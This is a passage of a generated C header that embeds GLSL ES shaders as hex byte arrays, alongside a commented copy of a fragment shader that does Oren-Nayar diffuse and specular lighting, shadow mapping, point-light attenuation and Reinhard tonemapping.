0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x32,0x5d,
0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x33,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x34,0x5d,0x2c,0x20,
0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x35,0x5d,0x29,0x20,0x2a,
0x20,0x5f,0x32,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x32,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x5f,0x32,0x39,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 300 es
precision mediump float;
precision highp int;
uniform highp vec4 material_params[5];
uniform highp vec4 fs_params[3];
uniform highp vec4 light_params[4];
uniform highp vec4 light2_params[4];
uniform highp sampler2D u_image_shadow_map;
uniform highp sampler2D uImage0;
in highp vec4 v_shadow_pos;
in highp vec3 vNormal;
in highp vec3 vFragPos;
in highp vec2 vTexCoord;
in highp vec4 vColorMult;
layout(location = 0) out highp vec4 frag_color;
in highp vec4 vColorOffset;
highp float oren_nayar_diffuse(highp vec3 light_direction, highp vec3 view_direction, highp vec3 surface_normal, highp float roughness, highp float albedo)
{
highp float _214 = dot(light_direction, surface_normal);
highp float _218 = dot(surface_normal, view_direction);
highp float _224 = dot(light_direction, view_direction) - (_214 * _218);
highp float _235 = roughness * roughness;
return ((albedo * max(0.0, _214)) * ((1.0 + (_235 * ((albedo / (_235 + 0.12999999523162841796875)) + (0.5 / (_235 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _235) / (_235 + 0.0900000035762786865234375)) * _224) / mix(1.0, max(_214, _218), step(0.0, _224))))) * 0.3183098733425140380859375;
}
highp float lambert_diffuse(highp vec3 light_direction, highp vec3 normal)
{
return dot(normal, light_direction);
}
highp float decodeDepth(highp vec4 rgba)
{
return dot(rgba, vec4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
highp float calc_shadow(highp float cos_theta)
{
highp vec3 _169 = v_shadow_pos.xyz / vec3(v_shadow_pos.w);
highp vec4 param = texture(u_image_shadow_map, (_169.xy * 0.5) + vec2(0.5));
return step(decodeDepth(param), _169.z - (0.5 * clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
highp float calc_spec(highp vec3 light_dir, highp vec3 view_dir, highp vec3 normal)
{
return ((8.0 + material_params[3].w) * 0.0397887341678142547607421875) * pow(max(dot(normal, normalize(light_dir + view_dir)), 0.0), material_params[3].w);
}
highp float attenuation_point(highp vec3 distance_by_radius, highp float falloff)
{
return pow(1.0 - min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
highp float luminance(highp vec3 linear)
{
return dot(linear, vec3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
highp vec3 linear_to_gamma(highp vec3 x)
{
return pow(x, vec3(0.4545454680919647216796875));
}
highp vec3 tonemap_reinhard(highp vec3 x)
{
highp vec3 param = x;
highp vec3 param_1 = x / vec3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
void main()
{
highp vec3 _283 = normalize(vNormal);
highp vec3 _295 = normalize(fs_params[2].xyz - vFragPos);
highp vec3 total = material_params[3].xyz;
highp vec4 _306 = texture(uImage0, vTexCoord);
highp vec4 _309 = _306 * vColorMult;
highp vec3 _319 = vec3(_309.xyz) * material_params[1].xyz;
highp vec3 param = light_params[0].xyz;
highp vec3 param_1 = _295;
highp vec3 param_2 = _283;
highp float param_3 = 0.5;
highp float param_4 = 1.0;
highp float _334 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
total += (material_params[0].xyz * light_params[1].xyz);
if (_334 > 0.0)
{
highp vec3 param_5 = light_params[0].xyz;
highp vec3 param_6 = _283;
highp vec3 param_7 = light_params[0].xyz;
highp vec3 param_8 = _295;
highp vec3 param_9 = _283;
total += ((((material_params[2].xyz * light_params[3].xyz) * calc_spec(param_7, param_8, param_9)) + ((_319 * light_params[2].xyz) * _334)) * (1.0 - calc_shadow(clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0))));
}
highp vec3 _386 = light2_params[0].xyz - vFragPos;
highp vec3 _394 = _386 / vec3(length(_386));
highp vec3 param_10 = _394;
highp vec3 param_11 = _295;
highp vec3 param_12 = _283;
highp float param_13 = 0.5;
highp float param_14 = 1.0;
highp float _404 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (material_params[0].xyz * light2_params[1].xyz);
if (_404 > 0.0)
{
highp vec3 param_15 = _386 / vec3(light2_params[0].w);
highp float param_16 = light2_params[1].w;
highp float _426 = attenuation_point(param_15, param_16);
if (_426 > 0.0)
{
highp vec3 param_17 = _394;
highp vec3 param_18 = _295;
highp vec3 param_19 = _283;
total += ((((material_params[2].xyz * light2_params[3].xyz) * calc_spec(param_17, param_18, param_19)) + ((_319 * light2_params[2].xyz) * _404)) * _426);
}
}
highp vec3 _457 = tonemap_reinhard(total);
total = _457;
frag_color = vec4(_457, _309.w);
}
*/
static const char fs_source_glsl300es[4881] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,
0x6f,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x75,
0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,
0x34,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x35,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x33,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,
0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,
0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,
0x6d,0x70,0x6c,0x65,0x72,0x32,0x44,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x3b,0x0a,0x75,0x6e,0x69,0x66,
0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x32,0x44,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x3b,0x0a,0x0a,0x69,0x6e,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x69,0x6e,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,
0x0a,0x69,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,
0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x69,0x6e,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x3b,0x0a,0x69,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,
0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,
0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,
0x20,0x6f,0x75,0x74,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,
0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x69,0x6e,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,
0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,
0x63,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,
0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x6c,0x62,
0x65,0x64,0x6f,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,0x34,0x20,0x3d,0x20,0x64,0x6f,
0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,
0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,0x38,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,
0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,
0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x5f,0x32,0x32,0x34,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,0x69,0x65,0x77,
0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x28,0x5f,
0x32,0x31,0x34,0x20,0x2a,0x20,0x5f,0x32,0x31,0x38,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x33,
0x35,0x20,0x3d,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,
0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2a,
0x20,0x6d,0x61,0x78,0x28,0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x31,0x34,0x29,0x29,
0x20,0x2a,0x20,0x28,0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,0x28,0x5f,0x32,0x33,0x35,
0x20,0x2a,0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2f,0x20,0x28,0x5f,
0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,0x31,0x32,0x39,0x39,0x39,0x39,0x39,0x39,
0x35,0x32,0x33,0x31,0x36,0x32,0x38,0x34,0x31,0x37,0x39,0x36,0x38,0x37,0x35,0x29,
0x29,0x20,0x2b,0x20,0x28,0x30,0x2e,0x35,0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,
0x20,0x2b,0x20,0x30,0x2e,0x33,0x33,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x31,0x31,
0x33,0x30,0x32,0x31,0x38,0x35,0x30,0x35,0x38,0x35,0x39,0x33,0x37,0x35,0x29,0x29,
0x29,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,
0x39,0x39,0x39,0x38,0x38,0x30,0x37,0x39,0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,
0x31,0x38,0x37,0x35,0x20,0x2a,0x20,0x5f,0x32,0x33,0x35,0x29,0x20,0x2f,0x20,0x28,
0x5f,0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,
0x30,0x33,0x35,0x37,0x36,0x32,0x37,0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,
0x37,0x35,0x29,0x29,0x20,0x2a,0x20,0x5f,0x32,0x32,0x34,0x29,0x20,0x2f,0x20,0x6d,
0x69,0x78,0x28,0x31,0x2e,0x30,0x2c,0x20,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,0x34,
0x2c,0x20,0x5f,0x32,0x31,0x38,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,0x2e,
0x30,0x2c,0x20,0x5f,0x32,0x32,0x34,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,0x30,
0x2e,0x33,0x31,0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,0x34,
0x30,0x33,0x38,0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,
0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,0x6d,0x62,0x65,
0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,
0x33,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x72,0x67,0x62,0x61,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,
0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x76,0x65,0x63,0x34,0x28,0x31,0x2e,0x30,
0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,
0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,
0x31,0x32,0x35,0x2c,0x20,0x31,0x2e,0x35,0x33,0x37,0x38,0x37,0x30,0x30,0x34,0x38,
0x31,0x39,0x36,0x30,0x35,0x34,0x39,0x39,0x35,0x30,0x35,0x39,0x39,0x36,0x37,0x30,
0x34,0x31,0x30,0x31,0x35,0x36,0x65,0x2d,0x30,0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,
0x30,0x38,0x36,0x32,0x39,0x32,0x30,0x31,0x36,0x39,0x39,0x36,0x35,0x39,0x34,0x36,
0x31,0x31,0x35,0x35,0x35,0x33,0x33,0x37,0x39,0x30,0x35,0x38,0x38,0x65,0x2d,0x30,
0x38,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,
0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x6f,0x73,0x5f,
0x74,0x68,0x65,0x74,0x61,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,0x3d,0x20,0x76,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,0x79,0x7a,0x20,
0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x70,0x6f,0x73,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x74,
0x65,0x78,0x74,0x75,0x72,0x65,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x28,0x5f,0x31,0x36,0x39,
0x2e,0x78,0x79,0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,0x20,0x76,0x65,0x63,
0x32,0x28,0x30,0x2e,0x35,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,
0x75,0x72,0x6e,0x20,0x73,0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,
0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,
0x39,0x2e,0x7a,0x20,0x2d,0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x63,0x6c,0x61,
0x6d,0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,0x38,
0x38,0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,0x38,
0x31,0x32,0x35,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,0x63,
0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,
0x20,0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,0x34,
0x38,0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,0x35,
0x29,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,
0x69,0x72,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,
0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x33,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,
0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x33,0x5d,0x2e,0x77,0x29,0x20,0x2a,0x20,0x30,0x2e,0x30,0x33,0x39,0x37,0x38,
0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,0x34,0x32,0x35,0x34,0x37,0x36,0x30,
0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x29,0x20,0x2a,0x20,0x70,0x6f,0x77,0x28,0x6d,
0x61,0x78,0x28,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,
0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,
0x69,0x72,0x20,0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,
0x20,0x30,0x2e,0x30,0x29,0x2c,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x77,0x29,0x3b,0x0a,0x7d,0x0a,
0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,
0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,
0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x2c,0x20,0x68,0x69,
0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,
0x66,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,
0x70,0x6f,0x77,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x6d,0x69,0x6e,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,0x6e,
0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,0x20,
0x32,0x2e,0x30,0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,
0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x33,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x6e,
0x65,0x61,0x72,0x2c,0x20,0x76,0x65,0x63,0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,
0x39,0x39,0x39,0x39,0x32,0x37,0x35,0x32,0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,
0x32,0x35,0x2c,0x20,0x30,0x2e,0x37,0x31,0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,
0x36,0x31,0x38,0x32,0x32,0x35,0x30,0x39,0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,
0x30,0x2e,0x30,0x37,0x32,0x32,0x30,0x30,0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,
0x32,0x32,0x39,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,
0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x6e,0x65,
0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x76,0x65,
0x63,0x33,0x28,0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,0x39,
0x31,0x39,0x36,0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,
0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,
0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x20,0x3d,0x20,0x78,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x31,0x2e,0x30,
0x20,0x2b,0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x70,0x61,0x72,
0x61,0x6d,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,
0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x6f,
0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x32,0x38,0x33,0x20,
0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x76,0x4e,0x6f,0x72,
0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x5f,0x32,0x39,0x35,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,
